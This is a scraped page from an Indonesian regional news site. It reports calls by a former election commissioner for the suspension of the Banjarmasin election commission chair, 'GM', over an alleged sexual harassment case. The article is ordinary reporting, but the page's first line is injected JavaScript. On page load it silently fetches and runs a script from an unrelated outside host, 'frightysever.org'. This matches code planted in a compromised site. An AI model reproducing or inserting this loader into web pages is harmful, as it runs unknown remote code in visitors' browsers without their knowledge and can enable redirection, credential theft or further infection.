(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mencuatnya kasus dugaan pelecehan seksual yang menyeret Ketua KPU Kota Banjarmasin GM rupanya menjadi perhatian bagi Koordinator Presidium Jaringan Demokrasi Indonesia (JaDI) Kalsel Samahuddin Muharram, yang pernah menjadi komisioner KPU Provinsi Kalsel.
Menurut Samahuddin, KPU Provinsi Kalsel harus melakukan penonaktifan jabatan Ketua KPU Kota Banjarmasin. Apalagi, kasus ini mencuat di tengah kesiapan KPU Kota Banjarmasin dalam menghadapi Pilkada serentak.
Dirinya mencontohkan, kasus serupa pernah terjadi di Provinsi DI Yogyakarta. Saat itu, ada dugaan asusila yang dilakukan oleh salah satu komisioner KPU di kabupaten di Yogyakarta, kendati Samahuddin tidak menyebut rinci kabupaten yang dimaksud.
“Oleh KPU Provinsi DIY langsung menonaktifkan. Begitu ada informasi dan laporan masuk ke kepolisian. Atas laporan itu, KPU provinsinya langsung menonaktifkan dan dilaporkan ke DKPP (Dewan Kehormatan Penyelenggara Pemilu),” kata Samahuddin, Kamis (23/1/2020) siang.
Menurutnya, KPU Provinsi Kalsel tidak bisa membiarkan kasus ini menjadi bola liar. Apakah dugaan kasus ini terbukti atau tidak terbukti merupakan persoalan di kemudian hari. Nantinya, DKPP lah yang berwenang membuktikannya, apakah melanggar etik atau tidak.
“Persoalan hukum jalan terus, karena KPU tidak bisa masuk ke dalam proses itu. (Karena) bukan kewenangan KPU yang melakukan penyidikan. Ini persoalan etik,” tegasnya.
Bagi Samahuddin, seorang komisioner penyelenggara pemilu di manapun berada, harus menjadi cerminan bagi lembaga penyelenggara pemilu itu sendiri. Karena ini merupakan sebuag konsekuensi bagi seseorang jika menjadi seorang komisioner di KPU. “Tidak bisa dikatakan sebagai urusan pribadi,” lugasnya.
GM sendiri, telah dipanggil KPU Provinsi Kalsel guna mengklarifikasi atas kasus yang menyeretnya. Menurut Samahuddin, hal tersebut sah-sah saja, karena merupakan hak baginya. “Sebenarnya KPU provinsi Kalsel bisa saja melakukan klarifikasi sembari menonaktifkan dulu yang bersangkutan. Jadi nanti setelah dilaporkan ke DKPP, nanti ada proses rehabilitasi jika tidak terbukti dan diaktifkan kembali (jabatannya),” terang Samahuddin.
Sehingga bagi Samahuddin, KPU Provinsi Kalsel harus tegas dalam menyikapi kasus dugaan pelecehan seksual yang menyeret GM ini. Serta tidak boleh berargumen bahwa kasus ini merupakan urusan pribadi. Karena saat ini, KPU itu menjadi sorotan, di mana untuk mengembalikan kepercayaan KPU itu bukan hanya di tingkat pusat, melainkan dari bawah. Sehingga, KPU Provinsi Kalsel harus mulai dari sekarang bertindak sebelum penyelenggaraan pilkada serentak.
“Saya kira menyikapi persoalan ini, saya kira (KPU Provinsi Kalsel) lemah,” pungkasnya. (Kanalkalimantan.com/fikri)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.